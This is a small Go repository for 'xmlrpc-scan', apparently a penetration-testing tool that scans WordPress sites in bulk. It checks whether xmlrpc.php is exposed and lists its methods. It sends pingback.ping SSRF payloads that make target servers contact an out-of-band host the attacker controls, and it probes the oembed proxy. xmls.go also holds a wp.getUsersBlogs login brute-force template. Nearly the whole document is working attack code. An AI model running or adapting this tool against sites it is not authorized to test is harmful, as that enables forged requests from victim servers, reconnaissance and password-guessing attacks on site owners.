├── README.md
├── core
└── req.go
├── scripts
└── builder.sh
├── utils
├── banner.go
└── xmls.go
└── xmlrpcscan.go
/README.md:
--------------------------------------------------------------------------------
1 | # xmlrpc-scan
2 |
3 | Scan urls or a single URL against XMLRPC wordpress issues.
4 |
5 | usage:
6 |
7 | ##### Install
8 |
9 | - Download from releases: https://github.com/devpwn/xmlrpc-scan/releases
10 | - Or Compiling by yourself
11 |
12 |
13 | ##### Features
14 |
15 | - Verify if XMLRPC interface from Wordpress is open;
16 | - Testing all possible SSRF methods against xmlrpc wordpress;
17 | - Testing the SSRF oem proxy [https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/wordpress](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/wordpress)
18 | - Generate unique url from each ssrf attempt;
19 |
20 |
21 | ##### Usage
22 |
23 | * List of wordpress urls
24 | ```bash
25 | cat urls.txt | xmlrpcscan -server http://burpcollaborator.net
26 | ```
27 |
28 | * Single URL
29 | ```bash
30 | xmlrpcscan -target https://target.com -server http://burpcollaborator.net
31 | ```
32 |
33 | 
34 |
35 |
--------------------------------------------------------------------------------
/core/req.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "bufio"
5 | "bytes"
6 | "crypto/tls"
7 | "fmt"
8 | "io/ioutil"
9 | "log"
10 | "net"
11 | "net/http"
12 | "os"
13 | "regexp"
14 | "strings"
15 | "sync"
16 | "time"
17 |
18 | "github.com/fatih/color"
19 | "github.com/nullfd/xmlrpc-scan/utils"
20 | )
21 |
22 | const ua = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0)"
23 |
24 | // Scan struct
25 | type Scan struct {
26 | target string
27 | server string
28 | }
29 |
30 | // New Create constructor
31 | func New(t string, s string) *Scan {
32 | return &Scan{target: t, server: s}
33 | }
34 |
35 | func newClient() *http.Client {
36 | tr := &http.Transport{
37 | MaxIdleConns: 30,
38 | IdleConnTimeout: time.Second,
39 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
40 | DialContext: (&net.Dialer{
41 | Timeout: time.Second * 10,
42 | KeepAlive: time.Second,
43 | }).DialContext,
44 | }
45 |
46 | re := func(req *http.Request, via []*http.Request) error {
47 | return http.ErrUseLastResponse
48 | }
49 |
50 | return &http.Client{
51 | Transport: tr,
52 | CheckRedirect: re,
53 | Timeout: time.Second * 10,
54 | }
55 | }
56 |
57 | // FromStdin test results from stdin
58 | func (s *Scan) FromStdin() {
59 | var wg sync.WaitGroup
60 | sc := bufio.NewScanner(os.Stdin)
61 |
62 | for sc.Scan() {
63 | rawURL := sc.Text()
64 | wg.Add(1)
65 |
66 | go func() {
67 | defer wg.Done()
68 |
69 | if s.IsAlive(rawURL) {
70 | s.VerifyMethods(rawURL)
71 | }
72 | }()
73 | }
74 | wg.Wait()
75 | }
76 |
77 | // IsAlive veirfy if xmlrpc is open
78 | func (s *Scan) IsAlive(url string) bool {
79 |
80 | cli := newClient()
81 |
82 | urlRequest := url + "/xmlrpc.php"
83 | req, err := http.NewRequest("GET", urlRequest, nil)
84 | req.Header.Set("User-Agent", ua)
85 |
86 | if err != nil {
87 | return false
88 | }
89 |
90 | resp, err := cli.Do(req)
91 | if err != nil {
92 | return false
93 | }
94 |
95 | defer resp.Body.Close()
96 |
97 | body, err := ioutil.ReadAll(resp.Body)
98 |
99 | if err != nil {
100 | return false
101 | }
102 |
103 | responseBody := string(body)
104 |
105 | matchedString, err := regexp.MatchString(`XML-RPC server accepts POST requests only`, responseBody)
106 |
107 | if matchedString {
108 | return true
109 | }
110 |
111 | return false
112 | }
113 |
114 | // VerifyMethods verify methods xmlrpc
115 | func (s *Scan) VerifyMethods(url string) {
116 |
117 | cli := newClient()
118 | body := " system.listMethods "
119 | urlReq := url + "/xmlrpc.php"
120 | req, err := http.NewRequest("POST", urlReq, bytes.NewBuffer([]byte(body)))
121 | if err != nil {
122 | log.Println(err)
123 | }
124 | defer req.Body.Close()
125 |
126 | req.Header.Add("User-Agent", ua)
127 | req.Header.Add("Content-Type", "application/xml; charset=utf-8")
128 |
129 | res, err := cli.Do(req)
130 | if err != nil {
131 | log.Println(err)
132 | }
133 |
134 | bodyString, err := ioutil.ReadAll(res.Body)
135 |
136 | if err != nil {
137 | log.Println(err)
138 | }
139 |
140 | b := string(bodyString)
141 |
142 | matchedStringPing, err := regexp.MatchString(`(pingback.ping)`, b)
143 | if err != nil {
144 | log.Println(err)
145 | }
146 |
147 | if matchedStringPing {
148 | color.Magenta("[+] Pingback open at [%s]\n", url)
149 |
150 | }
151 |
152 | s.Ssrf(url)
153 |
154 | matchedStringBrute, err := regexp.MatchString(`(blogger.getUsersBlogs)`, b)
155 |
156 | if err != nil {
157 | log.Println(err)
158 | }
159 |
160 | if matchedStringBrute {
161 | color.Magenta("[+] blogger.getUsersBlogs open at [%s]\n", url)
162 | }
163 |
164 | }
165 |
166 | // generate a random number and return a string
167 | func randomString() string {
168 | return fmt.Sprintf("%d", time.Now().UnixNano())
169 | }
170 |
171 | // Ssrf testing ssrf if avaliable
172 | func (s *Scan) Ssrf(target string) {
173 | url := target + "/xmlrpc.php"
174 |
175 | xml := utils.SSRF
176 |
177 | randomNumber := randomString()
178 | oobServer := randomNumber + "." + s.server
179 |
180 | replaceServer := strings.ReplaceAll(xml, "$SERVER$", oobServer)
181 | replaceTarget := strings.ReplaceAll(replaceServer, "$TARGET$", target)
182 |
183 | body := replaceTarget
184 |
185 | c := &http.Client{}
186 | req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(body)))
187 | if err != nil {
188 | log.Println(err)
189 | }
190 | defer req.Body.Close()
191 |
192 | req.Header.Add("User-Agent", ua)
193 | req.Header.Add("Content-Type", "application/xml; charset=utf-8")
194 |
195 | resp, err := c.Do(req)
196 | if err != nil {
197 | fmt.Println(err)
198 | }
199 |
200 | if resp.StatusCode == 200 {
201 | color.Yellow("[*] SSRF testing..\n")
202 | }
203 | color.Cyan("[+] SSRF TEST DONE at [%s]: verify at [%s] if a HTTP connection was recevied", s.target, oobServer)
204 |
205 | }
206 |
207 | // ProxyTesting testing oem proxyng server
208 | func (s *Scan) ProxyTesting() {
209 | client := newClient()
210 | randomNumber := randomString()
211 | oobServer := randomNumber + "." + s.server
212 | url := s.target + "/wp-json/oembed/1.0/proxy?url=" + oobServer + "/nullfd"
213 |
214 | req, err := http.NewRequest("GET", url, nil)
215 | req.Header.Set("User-Agent", ua)
216 | if err != nil {
217 | log.Println(err)
218 | }
219 |
220 | resp, err := client.Do(req)
221 | if err != nil {
222 | log.Println(err)
223 | }
224 |
225 | if resp.StatusCode == 200 {
226 | color.Cyan("[+] wp-json/oembed/1.0/proxy open, verify is a HTTP was recevied at your server..")
227 | }
228 |
229 | }
230 |
--------------------------------------------------------------------------------
/scripts/builder.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Name of your Go program
4 | PROGRAM_NAME="xmlrpcscan"
5 |
6 | # Build for Linux (AMD64)
7 | echo "Building for Linux (AMD64)..."
8 | env GOOS=linux GOARCH=amd64 go build -o "${PROGRAM_NAME}_linux_amd64" ../xmlrpcscan.go
9 |
10 | # Build for Linux (ARM64)
11 | echo "Building for Linux (ARM64)..."
12 | env GOOS=linux GOARCH=arm64 go build -o "${PROGRAM_NAME}_linux_arm64" ../xmlrpcscan.go
13 |
14 | # Build for macOS (AMD64)
15 | echo "Building for macOS (AMD64)..."
16 | env GOOS=darwin GOARCH=amd64 go build -o "${PROGRAM_NAME}_darwin_amd64" ../xmlrpcscan.go
17 |
18 | # Build for macOS (ARM64)
19 | echo "Building for macOS (ARM64)..."
20 | env GOOS=darwin GOARCH=arm64 go build -o "${PROGRAM_NAME}_darwin_arm64" ../xmlrpcscan.go
21 |
22 | # Build for Windows (AMD64)
23 | echo "Building for Windows (AMD64)..."
24 | env GOOS=windows GOARCH=amd64 go build -o "${PROGRAM_NAME}_windows_amd64.exe" ../xmlrpcscan.go
25 |
26 | # Build for Windows (ARM64)
27 | echo "Building for Windows (ARM64)..."
28 | env GOOS=windows GOARCH=arm64 go build -o "${PROGRAM_NAME}_windows_arm64.exe" ../xmlrpcscan.go
29 |
30 | echo "Build process completed successfully!"
31 |
--------------------------------------------------------------------------------
/utils/banner.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | const author string = "[+]Author:devpwn\n"
4 | const version string = "[+]Version: 2.0\n\n"
5 |
6 | // UglyBanner banner
7 | func UglyBanner() string {
8 |
9 | var banner string = `
10 |
11 |
12 | ██╗ ██╗███╗ ███╗██╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ █████╗ ███╗ ██╗
13 | ╚██╗██╔╝████╗ ████║██║ ██╔══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║
14 | ╚███╔╝ ██╔████╔██║██║ ██████╔╝██████╔╝██║█████╗███████╗██║ ███████║██╔██╗ ██║
15 | ██╔██╗ ██║╚██╔╝██║██║ ██╔══██╗██╔═══╝ ██║╚════╝╚════██║██║ ██╔══██║██║╚██╗██║
16 | ██╔╝ ██╗██║ ╚═╝ ██║███████╗██║ ██║██║ ╚██████╗ ███████║╚██████╗██║ ██║██║ ╚████║
17 | ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝
18 |
19 |
20 | `
21 | returnBanner := banner + author + version
22 | return returnBanner
23 | }
24 |
--------------------------------------------------------------------------------
/utils/xmls.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | var SSRF string = `
4 |
5 | pingback.ping
6 |
7 |
8 | $SERVER$
9 |
10 |
11 | $TARGET$?p=1
12 |
13 |
14 | `
15 |
16 | var BRUTE string = `
17 |
18 | wp.getUsersBlogs
19 |
20 | [$login$]
21 | [$password$]
22 |
23 |
24 | `
25 |
26 | var METHODS string = `
27 |
28 | system.listMethods
29 |
30 |
31 | `
32 |
--------------------------------------------------------------------------------
/xmlrpcscan.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "os"
7 |
8 | "github.com/nullfd/xmlrpc-scan/core"
9 | "github.com/nullfd/xmlrpc-scan/utils"
10 | )
11 |
12 | func main() {
13 | banner := utils.UglyBanner()
14 | fmt.Println(banner)
15 | target := flag.String("target", "", "[-] (e.g: https://wordpress.site.com)")
16 | server := flag.String("server", "", "[-] (e.g: http://159.89.121.20 or http://mydomain.com")
17 | flag.Parse()
18 |
19 | serverUser := *server
20 | targetUser := *target
21 |
22 | if serverUser == "" {
23 | fmt.Println("[+] Server is required to test ssrf..")
24 | fmt.Println("./xmlrpcscan -server http://burpcollaborator.net")
25 | os.Exit(1)
26 | }
27 |
28 | targetStruct := core.New(targetUser, serverUser)
29 |
30 | //verify if data is from stdin
31 | file, _ := os.Stdin.Stat()
32 | if (file.Mode() & os.ModeCharDevice) == 0 {
33 | targetStruct.FromStdin()
34 | } else {
35 | if targetStruct.IsAlive(targetUser) {
36 | targetStruct.VerifyMethods(targetUser)
37 | }
38 | }
39 |
40 | }
41 |
--------------------------------------------------------------------------------